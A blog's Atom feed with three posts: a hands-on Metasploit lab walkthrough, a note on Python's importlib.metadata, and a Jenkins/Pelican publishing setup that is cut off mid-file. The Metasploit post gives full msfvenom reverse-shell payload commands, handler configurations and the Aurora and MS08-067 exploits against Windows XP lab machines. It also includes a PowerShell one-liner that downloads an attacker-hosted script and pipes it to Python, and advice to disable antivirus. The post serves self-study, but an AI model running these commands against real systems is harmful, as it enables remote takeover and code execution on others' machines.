{"title":"axju","link":[{"@attributes":{"href":"https:\/\/axju.de\/","rel":"alternate"}},{"@attributes":{"href":"https:\/\/axju.de\/feeds\/all.atom.xml","rel":"self"}}],"id":"https:\/\/axju.de\/","updated":"2021-07-30T20:15:00+02:00","subtitle":"Just coding stuff","entry":[{"title":"Metasploit","link":{"@attributes":{"href":"https:\/\/axju.de\/posts\/2021\/07\/metasploit\/","rel":"alternate"}},"published":"2021-07-30T20:15:00+02:00","updated":"2021-07-30T20:15:00+02:00","author":{"name":"Axel Juraske"},"id":"tag:axju.de,2021-07-30:\/posts\/2021\/07\/metasploit\/","summary":"<p class=\"first last\">Fun with Metasplot, aka How To Hack<\/p>\n","content":"<p>I am a software developer and no a security researcher. But it is still\nimportant to master the current security principles. Of course you can read all\nabout it, but more fun would be to try this out. Back in the days I already play\nwith some penetration tools on\n<a class=\"reference external\" href=\"https:\/\/en.wikipedia.org\/wiki\/BackTrack\">Backtrack<\/a>.\nMostly I hacked someone WLAN, or stuff like this.<\/p>\n<p>Now its time to play with Metasploit. I don't go into too much detail, I just\ntry it out and present the results.<\/p>\n<div class=\"section\" id=\"the-basics\">\n<h2>The Basics<\/h2>\n<p>There are a lot of tools to have fun with security. We are going to use\nMetasploit. I think you can install it on your system, but I work with Kali for\nany security task I have. By the way I run Kali on\n<a class=\"reference external\" href=\"https:\/\/www.virtualbox.org\">Virtualbox<\/a>.\nWhat I also use for my vulnerable targets.<\/p>\n<blockquote>\n<ul class=\"simple\">\n<li><a class=\"reference external\" href=\"https:\/\/www.kali.org\/get-kali\/#kali-virtual-machines\">Kali<\/a><\/li>\n<li><a class=\"reference external\" href=\"https:\/\/developer.microsoft.com\/en-us\/microsoft-edge\/tools\/vms\/#downloads\">Windows 10\/8\/7<\/a><\/li>\n<li><a class=\"reference external\" href=\"https:\/\/developer.microsoft.com\/de-de\/windows\/downloads\/virtual-machines\/\">Windows 10 Development environment<\/a><\/li>\n<li><a class=\"reference external\" href=\"https:\/\/isoriver.com\/windows-xp-iso-download\/\">Windows XP<\/a><\/li>\n<\/ul>\n<\/blockquote>\n<p>The basic steps for exploiting a system are:<\/p>\n<blockquote>\n<ol class=\"arabic simple\">\n<li><dl class=\"first docutils\">\n<dt>Choosing and configuring an exploit<\/dt>\n<dd>Code that enters a target system by taking advantage of one of its bugs.<\/dd>\n<\/dl>\n<\/li>\n<li><dl class=\"first docutils\">\n<dt>Choosing and configuring a payload<\/dt>\n<dd>Code that will be executed on the target system upon successful entry.\nMostly this will by remote shell.<\/dd>\n<\/dl>\n<\/li>\n<li><dl class=\"first docutils\">\n<dt>Executing the exploit.<\/dt>\n<dd><!--  -->\n<\/dd>\n<\/dl>\n<\/li>\n<\/ol>\n<\/blockquote>\n<\/div>\n<div class=\"section\" id=\"example-0x01-revers-shell\">\n<h2>Example 0x01 - Revers Shell<\/h2>\n<p>You can create an executable file, that will connect to your device. Almost any\nsecurity scanner will detect this file. But anyway let us use this for the first\ntry. You may need to turn off your virus program. As you can see in the video,\nWindows also detects and deletes this file, even though I had switched off\nWindows Defender. This is the finale result, all commands below the video:<\/p>\n<img alt=\"alternate text\" src=\"https:\/\/axju.de\/images\/articels\/security\/metasploit-001.gif\" style=\"width: 100%;\" \/>\n<p>First we create the execute file:<\/p>\n<div class=\"highlight\"><pre><span><\/span>$ msfvenom -p windows\/meterpreter\/reverse_tcp <span class=\"nv\">LHOST<\/span><span class=\"o\">=<\/span><span class=\"m\">192<\/span>.168.178.41 <span class=\"nv\">LPORT<\/span><span class=\"o\">=<\/span><span class=\"m\">5555<\/span> -f exe &gt; shell.exe\n<\/pre><\/div>\n<p>Run web server with python to copy the file to the target:<\/p>\n<div class=\"highlight\"><pre><span><\/span>$ python3 -m http.server\n<\/pre><\/div>\n<p>Now you can download the file on the target. Before we execute it, we have to\nsetup Metasploit. Open Metasploit<\/p>\n<div class=\"highlight\"><pre><span><\/span>$ msfconsole\n<\/pre><\/div>\n<p>and set it up:<\/p>\n<div class=\"highlight\"><pre><span><\/span>msf6 &gt; use exploit\/multi\/handler\nmsf6 exploit<span class=\"o\">(<\/span>multi\/handler<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> PAYLOAD windows\/meterpreter\/reverse_tcp\n<span class=\"nv\">PAYLOAD<\/span> <span class=\"o\">=<\/span>&gt; windows\/meterpreter\/reverse_tcp\nmsf6 exploit<span class=\"o\">(<\/span>multi\/handler<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> LHOST <span class=\"m\">192<\/span>.168.178.41\n<span class=\"nv\">LHOST<\/span> <span class=\"o\">=<\/span>&gt; <span class=\"m\">192<\/span>.168.178.41\nmsf6 exploit<span class=\"o\">(<\/span>multi\/handler<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> LPORT <span class=\"m\">5555<\/span>\n<span class=\"nv\">LPORT<\/span> <span class=\"o\">=<\/span>&gt; <span class=\"m\">5555<\/span>\nmsf6 exploit<span class=\"o\">(<\/span>multi\/handler<span class=\"o\">)<\/span> &gt; run\n<\/pre><\/div>\n<p>Now execute the file on the target device.<\/p>\n<\/div>\n<div class=\"section\" id=\"example-0x02-internet-explorer-6\">\n<h2>Example 0x02 - Internet Explorer 6<\/h2>\n<p>You see from the example before: If your system is up to date, it's hard to\nexecute an existing exploit. Now we will use something old, and slowly -\nInternet Explorer 6. Yes the old on from Windows XP.<\/p>\n<p>This is also a more realistic example. There is a program with a critical\nsecurity problem. If the user is interacting with the wrong data, you can take\nover the system. For this exploit: Take the Internet Explorer 6 and visit the\nwrong url.<\/p>\n<p>This is how it looks, the commands are under the video:<\/p>\n<img alt=\"alternate text\" src=\"https:\/\/axju.de\/images\/articels\/security\/metasploit-002.gif\" style=\"width: 100%;\" \/>\n<p>Start Metasploit<\/p>\n<div class=\"highlight\"><pre><span><\/span>$ msfconsole\n<\/pre><\/div>\n<p>and set it up:<\/p>\n<div class=\"highlight\"><pre><span><\/span>msf6 &gt; use exploit\/windows\/browser\/ms10_002_aurora\nmsf6 exploit<span class=\"o\">(<\/span>windows\/browser\/ms10_002_aurora<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> PAYLOAD windows\/meterpreter\/reverse_tcp\n<span class=\"nv\">PAYLOAD<\/span> <span class=\"o\">=<\/span>&gt; windows\/meterpreter\/reverse_tcp\nmsf6 exploit<span class=\"o\">(<\/span>windows\/browser\/ms10_002_aurora<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> LHOST <span class=\"m\">192<\/span>.168.178.41\n<span class=\"nv\">LHOST<\/span> <span class=\"o\">=<\/span>&gt; <span class=\"m\">192<\/span>.168.178.41\nmsf6 exploit<span class=\"o\">(<\/span>windows\/browser\/ms10_002_aurora<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> LPORT <span class=\"m\">5555<\/span>\n<span class=\"nv\">LPORT<\/span> <span class=\"o\">=<\/span>&gt; <span class=\"m\">5555<\/span>\nmsf6 exploit<span class=\"o\">(<\/span>windows\/browser\/ms10_002_aurora<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> SRVHOST <span class=\"m\">192<\/span>.168.178.41\n<span class=\"nv\">SRVHOST<\/span> <span class=\"o\">=<\/span>&gt; <span class=\"m\">192<\/span>.168.178.41\nmsf6 exploit<span class=\"o\">(<\/span>windows\/browser\/ms10_002_aurora<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> SRVPORT <span class=\"m\">80<\/span>\n<span class=\"nv\">SRVPORT<\/span> <span class=\"o\">=<\/span>&gt; <span class=\"m\">80<\/span>\nmsf6 exploit<span class=\"o\">(<\/span>windows\/browser\/ms10_002_aurora<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> URIPATH \/\n<span class=\"nv\">URIPATH<\/span> <span class=\"o\">=<\/span>&gt; \/\nmsf6 exploit<span class=\"o\">(<\/span>windows\/browser\/ms10_002_aurora<span class=\"o\">)<\/span> &gt; exploit\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> Exploit running as background job <span class=\"m\">0<\/span>.\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> Exploit completed, but no session was created.\nmsf6 exploit<span class=\"o\">(<\/span>windows\/browser\/ms10_002_aurora<span class=\"o\">)<\/span> &gt;\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> Started reverse TCP handler on <span class=\"m\">192<\/span>.168.178.41:5555\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> Using URL: http:\/\/192.168.178.41:80\/\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> Server started.\n<\/pre><\/div>\n<p>If you now visit  <a class=\"reference external\" href=\"http:\/\/192.168.178.41\/\">http:\/\/192.168.178.41\/<\/a> with Internet Explorer, you should see\nsomething like:<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> <span class=\"m\">192<\/span>.168.178.45   ms10_002_aurora - Sending MS10-002 Microsoft Internet Explorer <span class=\"s2\">&quot;Aurora&quot;<\/span> Memory Corruption\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> Sending stage <span class=\"o\">(<\/span><span class=\"m\">175174<\/span> bytes<span class=\"o\">)<\/span> to <span class=\"m\">192<\/span>.168.178.45\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> Meterpreter session <span class=\"m\">1<\/span> opened <span class=\"o\">(<\/span><span class=\"m\">192<\/span>.168.178.41:5555 -&gt; <span class=\"m\">192<\/span>.168.178.45:1046<span class=\"o\">)<\/span> at <span class=\"m\">2021<\/span>-07-26 <span class=\"m\">04<\/span>:33:54 -0400\n<\/pre><\/div>\n<p>You can now interact with the session:<\/p>\n<div class=\"highlight\"><pre><span><\/span>msf6 exploit<span class=\"o\">(<\/span>windows\/browser\/ms10_002_aurora<span class=\"o\">)<\/span> &gt; sessions -l\n\nActive <span class=\"nv\">sessions<\/span>\n<span class=\"o\">===============<\/span>\n\n  Id  Name  Type                     Information                            Connection\n  --  ----  ----                     -----------                            ----------\n  <span class=\"m\">1<\/span>         meterpreter x86\/windows  AXJU-5980144708<span class=\"se\">\\a<\/span>xju @ AXJU-598014470  <span class=\"m\">192<\/span>.168.178.41:5555 -&gt; <span class=\"m\">192<\/span>.168.178.45\n                                     <span class=\"m\">8<\/span>                                      :1046 <span class=\"o\">(<\/span><span class=\"m\">192<\/span>.168.178.45<span class=\"o\">)<\/span>\n\nmsf6 exploit<span class=\"o\">(<\/span>windows\/browser\/ms10_002_aurora<span class=\"o\">)<\/span> &gt; sessions -i <span class=\"m\">1<\/span>\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> Starting interaction with <span class=\"m\">1<\/span>...\n\nmeterpreter &gt; sysinfo\nComputer        : AXJU-5980144708\nOS              : Windows XP <span class=\"o\">(<\/span><span class=\"m\">5<\/span>.1 Build <span class=\"m\">2600<\/span>, Service Pack <span class=\"m\">3<\/span><span class=\"o\">)<\/span>.\nArchitecture    : x86\nSystem Language : en_US\nDomain          : WORKGROUP\nLogged On Users : <span class=\"m\">2<\/span>\nMeterpreter     : x86\/windows\nmeterpreter &gt;\n<\/pre><\/div>\n<\/div>\n<div class=\"section\" id=\"example-0x03-windows-xp\">\n<h2>Example 0x03 - Windows XP<\/h2>\n<p>We're still on Windows XP. But now with a program that runs in the background.\nThe user doesn't have to do anything and we can still take over the system.\nAgain the finale result and the commands are below:<\/p>\n<img alt=\"alternate text\" src=\"https:\/\/axju.de\/images\/articels\/security\/metasploit-003.gif\" style=\"width: 100%;\" \/>\n<p>Start Metasploit<\/p>\n<div class=\"highlight\"><pre><span><\/span>$ msfconsole\n<\/pre><\/div>\n<p>and set it up:<\/p>\n<div class=\"highlight\"><pre><span><\/span>msf6 &gt; use exploit\/windows\/smb\/ms08_067_netapi\nmsf6 exploit<span class=\"o\">(<\/span>windows\/smb\/ms08_067_netapi<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> PAYLOAD windows\/meterpreter\/reverse_tcp\n<span class=\"nv\">PAYLOAD<\/span> <span class=\"o\">=<\/span>&gt; windows\/meterpreter\/reverse_tcp\nmsf6 exploit<span class=\"o\">(<\/span>windows\/smb\/ms08_067_netapi<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> LHOST <span class=\"m\">192<\/span>.168.178.41\n<span class=\"nv\">LHOST<\/span> <span class=\"o\">=<\/span>&gt; <span class=\"m\">192<\/span>.168.178.41\nmsf6 exploit<span class=\"o\">(<\/span>windows\/smb\/ms08_067_netapi<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> LPORT <span class=\"m\">5555<\/span>\n<span class=\"nv\">LPORT<\/span> <span class=\"o\">=<\/span>&gt; <span class=\"m\">5555<\/span>\nmsf6 exploit<span class=\"o\">(<\/span>windows\/smb\/ms08_067_netapi<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> RHOST <span class=\"m\">192<\/span>.168.178.45\n<span class=\"nv\">RHOST<\/span> <span class=\"o\">=<\/span>&gt; <span class=\"m\">192<\/span>.168.178.45\nmsf6 exploit<span class=\"o\">(<\/span>windows\/smb\/ms08_067_netapi<span class=\"o\">)<\/span> &gt; exploit\n<\/pre><\/div>\n<p>Now you should see something like:<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> Started reverse TCP handler on <span class=\"m\">192<\/span>.168.178.41:5555\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> <span class=\"m\">192<\/span>.168.178.45:445 - Automatically detecting the target...\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> <span class=\"m\">192<\/span>.168.178.45:445 - Fingerprint: Windows XP - Service Pack <span class=\"m\">3<\/span> - lang:English\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> <span class=\"m\">192<\/span>.168.178.45:445 - Selected Target: Windows XP SP3 English <span class=\"o\">(<\/span>AlwaysOn NX<span class=\"o\">)<\/span>\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> <span class=\"m\">192<\/span>.168.178.45:445 - Attempting to trigger the vulnerability...\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> Sending stage <span class=\"o\">(<\/span><span class=\"m\">175174<\/span> bytes<span class=\"o\">)<\/span> to <span class=\"m\">192<\/span>.168.178.45\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> Meterpreter session <span class=\"m\">1<\/span> opened <span class=\"o\">(<\/span><span class=\"m\">192<\/span>.168.178.41:5555 -&gt; <span class=\"m\">192<\/span>.168.178.45:1038<span class=\"o\">)<\/span> at <span class=\"m\">2021<\/span>-07-26 <span class=\"m\">04<\/span>:14:41 -0400\n\nmeterpreter &gt;\n<\/pre><\/div>\n<p>And this is all, now you have the control over the target system. See how\ndangers Windows XP is?<\/p>\n<\/div>\n<div class=\"section\" id=\"example-0x04-python\">\n<h2>Example 0x04 - Python<\/h2>\n<p>Of course there are also complex methods of executing code on the target system.\nThe example is similar to the first, the user has to execute a command. Which\nloads the code and runs it with Python. We assume that Python is installed on\nthe target. Since the payload is loaded directly into the memory, we can use\nWindows 10 again. And Windows Defender can also be activated.<\/p>\n<p>You know it, scroll for the commands or enjoy the video:<\/p>\n<img alt=\"alternate text\" src=\"https:\/\/axju.de\/images\/articels\/security\/metasploit-004.gif\" style=\"width: 100%;\" \/>\n<div class=\"highlight\"><pre><span><\/span>$ msfvenom -p python\/meterpreter\/reverse_tcp  <span class=\"nv\">LHOST<\/span><span class=\"o\">=<\/span><span class=\"m\">192<\/span>.168.178.41 <span class=\"nv\">LPORT<\/span><span class=\"o\">=<\/span><span class=\"m\">5555<\/span> -f raw &gt; shell.py\n$ python3 -m http.server\n<\/pre><\/div>\n<p>Now we quick config Metasploit:<\/p>\n<div class=\"highlight\"><pre><span><\/span>msf6 &gt; use exploit\/multi\/handler\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> Using configured payload generic\/shell_reverse_tcp\nmsf6 exploit<span class=\"o\">(<\/span>multi\/handler<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> PAYLOAD python\/meterpreter\/reverse_tcp\n<span class=\"nv\">PAYLOAD<\/span> <span class=\"o\">=<\/span>&gt; python\/meterpreter\/reverse_tcp\nmsf6 exploit<span class=\"o\">(<\/span>multi\/handler<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> LHOST <span class=\"m\">192<\/span>.168.178.41\n<span class=\"nv\">LHOST<\/span> <span class=\"o\">=<\/span>&gt; <span class=\"m\">192<\/span>.168.178.41\nmsf6 exploit<span class=\"o\">(<\/span>multi\/handler<span class=\"o\">)<\/span> &gt; <span class=\"nb\">set<\/span> LPORT <span class=\"m\">5555<\/span>\n<span class=\"nv\">LPORT<\/span> <span class=\"o\">=<\/span>&gt; <span class=\"m\">5555<\/span>\nmsf6 exploit<span class=\"o\">(<\/span>multi\/handler<span class=\"o\">)<\/span> &gt; exploit\n\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> Started reverse TCP handler on <span class=\"m\">192<\/span>.168.178.41:5555\n<span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> Sending stage <span class=\"o\">(<\/span><span class=\"m\">39392<\/span> bytes<span class=\"o\">)<\/span> to <span class=\"m\">192<\/span>.168.178.42\n<\/pre><\/div>\n<p>On the target we open the PowerShell and execute:<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"o\">(<\/span>new-object net.webclient<span class=\"o\">)<\/span>.DownloadString<span class=\"o\">(<\/span><span class=\"s1\">&#39;http:\/\/192.168.178.41:8000\/shell.py&#39;<\/span><span class=\"o\">)<\/span> <span class=\"p\">|<\/span> python\n<\/pre><\/div>\n<p>This will load and execute the python script. Now you have access to the target\nsystem with Metasploit:<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"o\">[<\/span>*<span class=\"o\">]<\/span> Meterpreter session <span class=\"m\">1<\/span> opened <span class=\"o\">(<\/span><span class=\"m\">192<\/span>.168.178.41:5555 -&gt; <span class=\"m\">192<\/span>.168.178.42:49636<span class=\"o\">)<\/span> at <span class=\"m\">2021<\/span>-07-26 <span class=\"m\">05<\/span>:30:28 -0400\n\nmeterpreter &gt;\n<\/pre><\/div>\n<\/div>\n<div class=\"section\" id=\"conclusion\">\n<h2>Conclusion<\/h2>\n<p>This is funny. I enjoy playing with some security tools. And knowing some Issues\nfrom other programs will make you write better source code.<\/p>\n<\/div>\n","category":[{"@attributes":{"term":"security"}},{"@attributes":{"term":"security"}},{"@attributes":{"term":"linux"}},{"@attributes":{"term":"hacking"}},{"@attributes":{"term":"metasploit"}},{"@attributes":{"term":"reverse shell"}}]},{"title":"importlib.metadata","link":{"@attributes":{"href":"https:\/\/axju.de\/posts\/2021\/04\/importlibmetadata\/","rel":"alternate"}},"published":"2021-04-26T20:15:00+02:00","updated":"2021-04-26T20:15:00+02:00","author":{"name":"Axel Juraske"},"id":"tag:axju.de,2021-04-26:\/posts\/2021\/04\/importlibmetadata\/","summary":"<p class=\"first last\">I didn't notice that pkg_resources was replaced by importlib.metadata from the standard library<\/p>\n","content":"<p>Module <a class=\"reference external\" href=\"https:\/\/docs.python.org\/3\/library\/importlib.metadata.html\">importlib.metadata<\/a> has been around since Python version 3.8. And that make <strong>pkg_resources<\/strong> some kind of deprecated.\nI personally uses <strong>pkg_resources<\/strong> on two places and didn't realize that it was out of date.<\/p>\n<ol class=\"arabic simple\">\n<li>To load some entry point, if I build a pluggable package.<\/li>\n<li>Get the version number at runtime, if I uses setuptools-scm.<\/li>\n<\/ol>\n<p>Maybe in different places, but these two pop up in my head first.\nThere is also a <a class=\"reference external\" href=\"https:\/\/pypi.org\/project\/importlib-metadata\/\">package<\/a> that supplies backports of functionality for Python version smaller then 3.8<\/p>\n<div class=\"section\" id=\"load-entry-points\">\n<h2>Load entry points<\/h2>\n<p>The Python setup script provides entry points where objects can be assigned.\nIn your main package, you can search for specific entry points and load them.\nOther package can also defined this entry point, so your main package will load them too.\nIf you are interesting, I make a <a class=\"reference external\" href=\"https:\/\/youtu.be\/Po5JaNVgo-M\">small video<\/a>. Unfortunately, this video uses the old <strong>pkg_resources<\/strong> module.<\/p>\n<p>With <strong>importlib.metadata<\/strong>, the new one:<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"o\">&gt;&gt;&gt;<\/span> <span class=\"kn\">from<\/span> <span class=\"nn\">importlib.metadata<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">entry_points<\/span>\n<span class=\"o\">&gt;&gt;&gt;<\/span> <span class=\"k\">for<\/span> <span class=\"n\">enp<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">entry_points<\/span><span class=\"p\">()[<\/span><span class=\"s1\">&#39;axju.commands&#39;<\/span><span class=\"p\">]:<\/span>\n<span class=\"o\">...<\/span>   <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">enp<\/span><span class=\"o\">.<\/span><span class=\"n\">name<\/span><span class=\"p\">)<\/span>\n<span class=\"o\">...<\/span>\n<span class=\"n\">django<\/span>\n<span class=\"n\">info<\/span>\n<span class=\"n\">show<\/span>\n<\/pre><\/div>\n<p>The old one with <strong>pkg_resources<\/strong>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"o\">&gt;&gt;&gt;<\/span> <span class=\"kn\">from<\/span> <span class=\"nn\">pkg_resources<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">iter_entry_points<\/span>\n<span class=\"o\">&gt;&gt;&gt;<\/span> <span class=\"k\">for<\/span> <span class=\"n\">enp<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">iter_entry_points<\/span><span class=\"p\">(<\/span><span class=\"n\">group<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;axju.commands&#39;<\/span><span class=\"p\">):<\/span>\n<span class=\"o\">...<\/span>   <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">enp<\/span><span class=\"o\">.<\/span><span class=\"n\">name<\/span><span class=\"p\">)<\/span>\n<span class=\"o\">...<\/span>\n<span class=\"n\">django<\/span>\n<span class=\"n\">info<\/span>\n<span class=\"n\">show<\/span>\n<\/pre><\/div>\n<\/div>\n<div class=\"section\" id=\"retrieving-package-version-at-run-time\">\n<h2>Retrieving package version at run time<\/h2>\n<p>You can find this example on the readme file from <strong>setuptools-scm<\/strong>.<\/p>\n<p>This is how you should do it, with <strong>importlib.metadata<\/strong>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"kn\">from<\/span> <span class=\"nn\">importlib.metadata<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">version<\/span><span class=\"p\">,<\/span> <span class=\"n\">PackageNotFoundError<\/span>\n\n<span class=\"k\">try<\/span><span class=\"p\">:<\/span>\n    <span class=\"n\">__version__<\/span> <span class=\"o\">=<\/span> <span class=\"n\">version<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;package-name&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"k\">except<\/span> <span class=\"n\">PackageNotFoundError<\/span><span class=\"p\">:<\/span>\n    <span class=\"n\">__version__<\/span> <span class=\"o\">=<\/span> <span class=\"s1\">&#39;Unknown&#39;<\/span>\n<\/pre><\/div>\n<p>And you'd better avoid that:<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"kn\">from<\/span> <span class=\"nn\">pkg_resources<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">get_distribution<\/span><span class=\"p\">,<\/span> <span class=\"n\">DistributionNotFound<\/span>\n\n<span class=\"k\">try<\/span><span class=\"p\">:<\/span>\n    <span class=\"n\">__version__<\/span> <span class=\"o\">=<\/span> <span class=\"n\">get_distribution<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;package-name&quot;<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">version<\/span>\n<span class=\"k\">except<\/span> <span class=\"n\">DistributionNotFound<\/span><span class=\"p\">:<\/span>\n    <span class=\"n\">__version__<\/span> <span class=\"o\">=<\/span> <span class=\"s1\">&#39;Unknown&#39;<\/span>\n<\/pre><\/div>\n<p>However, this does place a runtime dependency on <strong>setuptools<\/strong> and can add up\nto a few 100ms overhead for the package import time.<\/p>\n<\/div>\n<div class=\"section\" id=\"conclusion\">\n<h2>Conclusion<\/h2>\n<p>As you can see, these are not major changes to the source code.\nSo the problem are not the adjustments, but the fact you should read the release note.\nShame on me, I don't read them very often. I only came across this while researching for my video. But even then I did get it after the video it was published.<\/p>\n<p>The biggest source for my video was the <a class=\"reference external\" href=\"https:\/\/amir.rachum.com\/blog\/2017\/07\/28\/python-entry-points\/\">post<\/a> from Amir Rachum's Blog, which was written before the release of version 3.8. That's why he still used <strong>pkg_resources<\/strong>.<\/p>\n<div class=\"section\" id=\"memo-to-myself-read-the-release-note\">\n<h3>Memo to myself, read the release note<\/h3>\n<\/div>\n<\/div>\n","category":[{"@attributes":{"term":"python"}},{"@attributes":{"term":"python"}}]},{"title":"DevOps for blogging with Pelican","link":{"@attributes":{"href":"https:\/\/axju.de\/posts\/2021\/03\/devops-for-blogging-with-pelican\/","rel":"alternate"}},"published":"2021-03-02T20:15:00+01:00","updated":"2021-03-02T20:15:00+01:00","author":{"name":"Axel Juraske"},"id":"tag:axju.de,2021-03-02:\/posts\/2021\/03\/devops-for-blogging-with-pelican\/","summary":"<p class=\"first last\">One (easy) way to automate your blogging with Pelican and Jenkins.<\/p>\n","content":"<p>Today I will show you my blogging setup and workflow. A few years ago I build a\nblog with <a class=\"reference external\" href=\"https:\/\/flask.palletsprojects.com\/en\/1.1.x\/\">Flask<\/a>. But this wars\nmore a project to learn <a class=\"reference external\" href=\"https:\/\/www.python.org\">Python<\/a>. I like to share\nmy coding experience, but maintaining a self build blog software wars more pain\nthen fun. So I switch to <a class=\"reference external\" href=\"https:\/\/wordpress.com\/\">WordPress<\/a>. And yes,\nthat <a class=\"reference external\" href=\"https:\/\/www.short-report.de\/\">works fine<\/a>.<\/p>\n<p>To be honest, I don't like <a class=\"reference external\" href=\"https:\/\/wordpress.com\/\">WordPress<\/a>. It has to be\ngood software, but I don't like writing in the cloud. I like to have my post as\na plain text on my local device. I write some tools to make that work. But\nagain, I would share my experience as a developer and not maintain some nasty\nprojects.<\/p>\n<p>It was also the time when we renovated our house and had children shortly\nafterwards. So I had less time to look after my blog. Now as they get older, I\nhave more time for this. And my DevOps skills have also increased. I setup a\n<a class=\"reference external\" href=\"https:\/\/axju.de\/posts\/2021\/02\/jenkins-meet-raspberry-pi\/\">Jenkins server<\/a>\nand play with it, just for fun. And then I discovered\n<a class=\"reference external\" href=\"https:\/\/docs.getpelican.com\/en\/3.6.3\/index.html\">Pelican<\/a>, as static page\ngenerator. This would change my blogging workflow to the following:<\/p>\n<ol class=\"arabic simple\">\n<li>I write the content(rst files) on my locale device.<\/li>\n<li>With Pelican I create the HTML files and look at the preview blog.<\/li>\n<li>If I'm happy with the result, I push them to a git repository.<\/li>\n<li>The Jenkins server build the finale blog and publish it.<\/li>\n<\/ol>\n<p>And that's it. I just want to share how my blogging workflow look. If you are\ninteresting in the technical details, go on. Otherwise have a nice day.<\/p>\n<div class=\"section\" id=\"some-details\">\n<h2>Some details<\/h2>\n<p>The git repository has a <em>Jenkinsfile<\/em>, which will be read from the Jenkins\nserver. When I commit my changes to the repository, a webhook triggers the build\nprocess on the server.<\/p>\n<p>To publish the blog I installed the plugin <em>Publish Over SSH<\/em> on the Jenkins\nserver. With this I can copy the HTML files to the web server. You can have\nseveral configuration files for your\n<a class=\"reference external\" href=\"https:\/\/docs.getpelican.com\/en\/3.6.3\/index.html\">Pelican<\/a> project. I have\none for development, one for the web server and one for a hidden service. The\nweb server build is only executed in the main branch. So the onion version of my\nblog is always a little newer.<\/p>\n<\/div>\n<div class=\"section\" id=\"jenkinsfile\">\n<h2>Jenkinsfile<\/h2>\n<div class=\"highlight\"><pre><span><\/span>pipeline <span class=\"o\">{<\/span>\n  agent <span class=\"o\">{<\/span>\n    docker <span class=\"o\">{<\/span>\n      image <span class=\"s1\">&#39;python:3.8&#39;<\/span>\n    <span class=\"o\">}<\/span>\n  <span class=\"o\">}<\/span>\n  stages <span class=\"o\">{<\/span>\n    stage<span class=\"o\">(<\/span><span class=\"s1\">&#39;setup&#39;<\/span><span class=\"o\">)<\/span> <span class=\"o\">{<\/span>\n      steps <span class=\"o\">{<\/span>\n        withEnv<span class=\"o\">([<\/span><span class=\"s2\">&quot;HOME=<\/span><span class=\"si\">${<\/span><span class=\"nv\">env<\/span><span class=\"p\">.WORKSPACE<\/span><span class=\"si\">}<\/span><span class=\"s2\">&quot;<\/span><span class=\"o\">])<\/span> <span class=\"o\">{<\/span>\n          sh <span class=\"s1\">&#39;python -m pip install --user --upgrade pip pelican&#39;<\/span>\n          sh <span class=\"s1\">&#39;python --version&#39;<\/span>\n          sh <span class=\"s1\">&#39;python -m pelican --version&#39;<\/span>\n        <span class=\"o\">}<\/span>\n      <span class=\"o\">}<\/span>\n    <span class=\"o\">}<\/span>\n\n    stage<span class=\"o\">(<\/span><span class=\"s1\">&#39;publish - web&#39;<\/span><span class=\"o\">)<\/span> <span class=\"o\">{<\/span>\n      when <span class=\"o\">{<\/span>\n        branch <span class=\"s1\">&#39;master&#39;<\/span>\n      <span class=\"o\">}<\/span>\n      steps <span class=\"o\">{<\/span>\n        withEnv<span class=\"o\">([<\/span><span class=\"s2\">&quot;HOME=<\/span><span class=\"si\">${<\/span><span class=\"nv\">env<\/span><span class=\"p\">.WORKSPACE<\/span><span class=\"si\">}<\/span><span class=\"s2\">&quot;<\/span><span class=\"o\">])<\/span> <span 